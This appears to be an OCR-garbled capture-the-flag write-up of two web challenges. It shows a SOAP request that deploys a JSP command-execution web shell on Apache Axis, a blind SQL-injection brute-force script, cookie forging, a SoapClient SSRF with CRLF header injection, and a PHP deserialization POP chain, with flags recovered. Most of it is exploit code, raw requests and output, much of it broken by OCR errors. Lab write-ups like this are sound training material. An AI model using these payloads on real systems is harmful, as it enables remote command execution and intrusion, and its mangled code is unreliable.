%72%26e%66%69%6C%65%4e%61%6d%65%22%20%76%61%6 C%75%65%3d%22%2e%2e%21%77%65%62%61%70%70%73%21%61%78%69%7 3%2 %6 2%6d%
74%68%2e%6a%73%70%22%20%21%3e%3C%70%61%72%61%6d%65%74%65%7 2%20%6€%61%6d%65%3d%2 2%A C%6T%67%48%61%6e%64%6 C%65%7 2%2
e%77%72%69%74%65%54%61%A43%6T%6e%73%6T%6C%65%22%20%76%61%6C%75%65%3d%22%66%61%6C%73%65%22%20%21%3e%3c%2%68%61%6e
%64%6C%65%72%3e%3Ch21%66e%73%31%3a%64%65%70%6 C%61%79%6d%65%6e%74" >

%dtd;

1>

« > G @ O & 38cd7al12-af52-4f84-b483-a3c171e6c685.noded buuoj.cn:81/axis/services/RandomSe |

D=zt OCF @ E2m3E HERE - ... () EEEE ( °- )>0 .. B bmth [# CSDN - EWFraE.. M bmth-BEE [ Z2E - 22%

RandomService

Hi there, this is an AXIS servicel

Perhaps there will be a form for invoking the service here...

SR J5 5 Awebshell



POST /axis/services/RandomService HTTP/1.1

Host: 38cd7al2-af52-4f84-b483-a3c171e6c685.node4.buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

SOAPAction: something

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

Content-Length: 874

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:main
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<api:in@><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRunti
me().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr
= dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
11>
</api:ine>
</api:main>
</soapenv:Body>
</soapenv:Envelope>



| RN IS IR IR E——

| AR S I E—

Accept-Encoding: gzip, deflate
Connection: close

—
Upgrade-Insecure-Requests: 1
Pragma: no-cache

Cache-Control: no-cache ™
Content-Type: application/x-www-form-urlencoded

Content-Length: 874

T

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlins:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmins:api="http://127.0.0.1/Integrics/Enswitch/API"
xmins:xsd="http://www.w3.0rg/2001/XMLSchema”
xmins:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:main
soapenviencodingStyle="http://schemas.xmlsoap.org/soap/encoding/" >
<api:in0> <![CDATA[
<%@page import="java.util.* java.io.*"%> <% if (request.getParameter("c") = null) { Process p
= Runtime.getRuntime().exec(request.getParameter("c")); DatalnputStream dis = new
DatalnputStream(p.getinputStream()); String disr = dis.readLine(); while ( disr !'= null ) {
out.printin(disr); disr = dis.readLine(); }; p.destroy(); }%>

1=
</apiin0>
</api:main>
</soapenv:Body> A

@ < + > Type a search term

0 maiches

EARWRR500, HIERRIIEAN, &EiERfag

< C @
D=t Ocrr B E8mE g T - .

(9 meEeE ( - )0 .. B bmth CSDN - Tl kit...

HTTP/1.1 500 Internal Server Error
Server: openresty

Date: Mon, 04 Apr 2022 05:13:44 GMT
Content-Type: text/xml;charset=utf-8
Connection: close

Content-Length: 5412

<?xml version="1.0" encoding="UTF-8"?> <soapenv:Envelope
xmins:soapenv="http://schemas.xmlsocap.org/soap/envelope/"
xmins:xsd ="http://mww.w3.0rg/2001/XMLSchema"
xmins:xsi="http://www.w3.0rg/2001/XMLSchema-instance" > <soapenv:Body> <soa
penv:Fault> <faultcode
xmins:ns1="http://xml.apache.org/axis/">ns1:Client</faultcode> <faultstring>No
such operation 'main’</faultstring> <detail > <ns2:stackTrace
xmins:ns2="http://xml.apache.org/axis/">No such operation 'main’

at
org.apache.axis.providers.java.RPCProvider.getOperationDesc(RPCProvider.ja
va:312)

at
org.apache.axis.providers.java.RPCProvider.processMessage(RPCProvider.jav
a:88)

at
org.apache.axis.providers.java.JavaProvider.invoke(JavaProvider.java:323)

at
org.apache.axis.strategies.InvocationStrategy.visit(InvocationStrategy.java:32

0 matct

)
@ QJ LJ (>] Type a search term

8 =http//38cd7al12-af52-4f84-b483-a3c171e6¢685.noded. buuoj.cn:81/axis/bmth jsp?c=cat /flag ¥

3 bmth - EE [ R2E - ReTAFe W&

at org.apache.catalina.valves.BAbstractBAccessLogValve.invoke (AbstractAccessLogValve.java: &78)
at org.apache.catalina.core.StandardEnginevValve.invoke (StandardEnginevValve.java:87)

at org.apache.catalina.connector.CoyoteAdapter. service (CoyotelAdapter.java:343)

at org.apache.coyote.httpll.HttpllProcessor.service (HttpllProcessor.java:609)

at org.apache.coyote.BbstractProcessorlight.process (AbstractProcessorLight.java:65)

at org.apache.coyote.BbstractProtocolSConnectionHandler.process (AbstractProtocol.java:810)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun (NioEndpoint.java:1506)

at org.apache.tomcat.util.net.SocketProcesscorBase.run(SocketProcessorBase.java:49)

at java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1149)

at Java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java: 624)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable. run(TaskThread.java:é6l)

at java.lang.Thread.run(Thread.java:748)

</ns2:stackTrace><ns3:hostname xmlns:ns3="http://zml.apache.org/axis/">out.instance-2543-38cd7al2-af52-4f84-b483-a3c

Elapsed: 7 milliseconds

<soapenv:Body>

In message: <?xml wversion="1.0" encoding="UTF-8"?><{socapenv:Envelope xmlns:xsi="http://www.w3.0rg/2001/¥MLEchema—-1in

<api:main soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<api:inO><f[CDATA[
flag{7e51a270-de26-4150-a470-256cc9£5748d} I

11z

<fapi:in0>
</api:main>
</soapenv:Body>

[SWPU2019]web6- & A\ A &1iE
B TR

like sleep regexp select limit benchmark and where ( ) union ascii

AULEREH

or passwd > '3’
or passwd > '4'

=> Wrong password

=> wrong username or passwor‘d

B — AN A SRR A A

=> passwdFE—NRN'3"



import requests
import time
import binascii

url = "http://bd634940-5c48-4243-b452-2bcf9995c639.node4.buuoj.cn:81/index.php?method=login"

s = 'ox'
for i in range(50
for j in range(33,128
time.sleep(0.1

# username = "' or username > {}#" .format(s+hex(j)[2:])
username = "' or passwd > {}#" .format(s+hex(j)[2
data = {'username':username, 'passwd':"'123"

r = requests.post(url,data=data

if('wrong username or password'in r.text
s = s + hex(j-1)[2
break

print("=>"+str(i)+" : "+binascii.unhexlify(s[2 decode('utf-8").lower

t requests
time
t binascii

= "htt 34940-5c¢ -b452-2bcfe oded .buuoj.cn: hpPmethod=login™

)+

BJE—HMFEE+, FTUAZLN glzjin_wants_a_girl friend , TSN xiaob
BEAWpAH T HREE U EEER:



P44 or '1'="1" group by passwd with rollup having passwd is NULL --
EWENT

B FERNZJEEE wsdl.php HAMED

hint

a few file may be helpful index.php Service.php interface.php se.php
get flag

method can use get_flag only admin in 127.0.0.1 can get_flag

T —/ ?method=File_read, 2iRiLBUREY
POST:

filename=index.php

index.php:



<?php

ob_start();

include ("encode.php");
include("Service.php");
//error_reporting(0);

//phpinfo();
$method = $_GET[ 'method']?$ GET[ 'method"']:"'

//echo 1231;
$allow_method = array("File_read","login","

if(!'in_array($method, $allow_method))
{

die("not allow method");

if($method==="File_read")

{
$param =$_POST['filename'];
$param2=null;
telse
{
if($method==="1login")
{
$param=$_POST[ 'username'];
$param2 = $ _POST[ 'passwd’'];
telse
{
echo "method can use";
¥
¥

echo $method;
$newclass = new Service();
echo $newclass->$method($param,$param2);

ob_flush();

?>

B ABATFEZBAUR Nadmin, EElencode.php

index"';

index","hint

,"user",

get_flag");



<?php

function en_crypt($content, $key){

$key = md5 ($key) ;
$h = 0;
$length = strlen($content);
$swpuctf = strlen($key);
$varch = e
for ($j = 0; $j < $length; $j++)
{

if ($h == $swpuctf)

{

$h = o;

}

$varch .= $key{$h};

$h++;
¥
$swpu = '';

for ($j = @; $j < $length; $j++)

{
$swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);

}

return base64_encode($swpu);

25 7 Bfilcookie In# ik, HkeyfEwsdl.phpfI XA DA3RE]: keyaaaaaaaasdfsaf.txt , A flag{this_is_false_flag}

{message name="File readRequest”>

” - ”
{message name— File readResnonse >

SRR RS -



<?php

function decrypt($data, $key)
{
$key = md5($key);
$x = 0;
$data = base64_decode($data);
$len = strlen($data);
$1 = strlen($key);
$char = '';
for ($i = 0; $i < $len; $i++)
{
if ($x == $1)
{
$x = o;
}
$char .= substr($key, $x, 1);
$X++;
}
$str = '';
for ($i = 0@; $i < $len; $i++)
{
if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1)))

{
$str .

chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
¥

else

{
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));

}

return $str;

$key = "flag{this_is_false_flag}";
echo decrypt("3J6Roahxaw==",%key);
?>



A EE(Embed) P #117(Run) +

$len; $i++)

(ord(substr($data, $i, 1)) < ord(substr($char, $i, 1)))

chr({ord(substr($data, $i, 1)) + - ord(substr($char, %i, 1)));

ta, $i, 1)) - ord(substr($char, $i, 1)));

MATAIBCA admin:1 , %55 & #cookie Ny xZmdmoNxaQ%3D%3D , FIhAZ Ftadmin
B 5t R @it ssrfiTget_flag T
I3 B A\ Hsession:

= 'http://127.0.0.1/interface.php’;
= array('X-Forwarded-For:127.0.0.1"', 'Cookie:user=xZmdm9NxaQ==");

= new SoapClient(null,array('location' => , 'user_agent'=>"wupco®'.join( '~ ",
))s
= serialize($b);
= str_replace('~*',"\r\n", )5
= str_replace('&','&", )
echo ;

?>

), 'uri’

=5

"3a3ab"



POST /index.php HTTP/1.1

Host: bd634940-5c48-4243-b452-2bcf9995c639.noded.buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101
Firefox/98.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary=----------------- oo 28253718972384542721233413137
Content-Length: 642

Connection: close

Cookie: PHPSESSID=ccC M

Upgrade-Insecure-Requests: 1

————————————————————————————— 28253718972384542721233413137
Content-Dispaosition: form-data; name="PHP_SESSION UPLOAD PROGRESS"

|0:10:"SoapClient":5:{s:3:"uri";s:4:"aaab";s:8:"location";s:30:"http://127.0.0.1/interface.php”;s
:15:" stream_context";i:0;s:11:"_user_agent”;s:109:"wupco
Content-Type:+application/x-www-form-urlencoded \
X-Forwarded-For:+127.0.0.1 :
Cookie:+user=xZmdm9NxaQ==";s:13:" soap version";i:1;}

————————————————————————————— 28253718972384542721233413137

Content-Dispaosition: form-data; name="file"; filename=""
Content-Type: application/octet-stream

se.php:

<?php
ini_set('session.serialize handler', 'php');

class aa
{
public $modi;
public $mod2;
public function __call($name,$param)

{
if($this->{$name})
{
$s1 = $this->{$name};
$s1();
¥
¥
public function _ get($ke)
{
return $this->mod2[$ke];
¥
¥
class bb
{

public $modi;
public $mod2;
public function _ destruct()

{

| -



$this->modl->test2();

}
}
class cc
{
public $modi;
public $mod2;
public $mod3;
public function _ invoke()
{
$this->mod2 = $this->mod3.$this->mod1;
}
}
class dd
{
public $name;
public $flag;
public $b;
public function getflag()
{
session_start();
var_dump($ SESSION);
$a = array(reset($_SESSION),$this->flag);
echo call_user_func($this->b,%a);
}
}
class ee
{
public $stri;
public $str2;
public function __ toString()
{
$this->stri1->{$this->str2}();
return "1";
}
}

$first = new bb();

$second = new aa();

$third = new cc();

$four = new ee();

$first ->modl = $second;
$third -> modl = $four;

$f = new dd();
$f->flag="Get_flag';
$f->b="call _user_func';
$four -> strl = $f;

$four -> str2 = "getflag";
$second ->mod2[ 'test2'] = $third;
echo serialize($first);

?>



__destruct->_ call->_ get->_ invoke->_ toString->getflag

IPOST /se.php HTTP/1.1

Host: bd634940-5¢48-4243-b452-2bcf9995c¢639.noded.buuoj.cn:81

‘User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101
Firefox/98.0

\Accept:
‘textfhtml,applicaticn/xhtml+xm|,app|icaticnfxml;q=0.9,image/avif,imagefwebp,*f*;q=O.8
1Accept—Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|Accept-Encoding: gzip, deflate

|Connection: close

'Cookie: PHPSESSID=ccc

|Upgrade-Insecure-Requests: 1

‘Pragma: no-cache

|Cache-Control: no-cache

}Ccntent—Type: application/x-www-form-urlencoded

|Content-Length: 276

|

|
jaa=0:2:."bb":2:{s:4:"mod1";,0:2:"aa":2:{s:4:"mod1";N;s:4:"mod2";a:1:{s:5:"test2";0:2:"cc":3:{s:4
"mod1";0:2:"ee":2:{s:4:"str1";0:2:"dd":3:(s:4:"name”;N;s:4:"flag";s:8:" Get_flag";s:1:"b";s:14:"¢c
all_user_func";}s:4:"str2";s:7:"getflag";}s:4:"mod2";N;s:4:"mod3";N;}}}s:4:"mod2";N;}

5%

%+ ESWPUCTFwriteup
SWPUCTF2019 WriteUp

2019 SWPU-ctf Web R fi#WriteUp

T

X-Powered-By: PHP/5.6.40
Content-Length: 453

array(1) {
["a:1:(s:302: "upload progress "]=>
object(SoapClient)#6 (5) {
["uri*]=>
string(4) "aaab"
["location™]=>
string(30) “http://127.0.0.1/interface.php”
[*_stream_context™]=>
int(0)
[*_user_agent™]=>
string(109) “wupco
Content-Type:+application/x-www-form-urlencoded
X-Forwarded-For:+127.0.0.1
Cookie:+user=xZmdm9NxaQ=="
[*_soap_version’]=>
int(1)
}

}
flag{4d308bd3-84f9-4442-af72-58c64ed03e33}


https://www.anquanke.com/post/id/194640
https://zhuanlan.zhihu.com/p/96698636
https://nikoeurus.github.io/2019/12/09/SWPU-ctf
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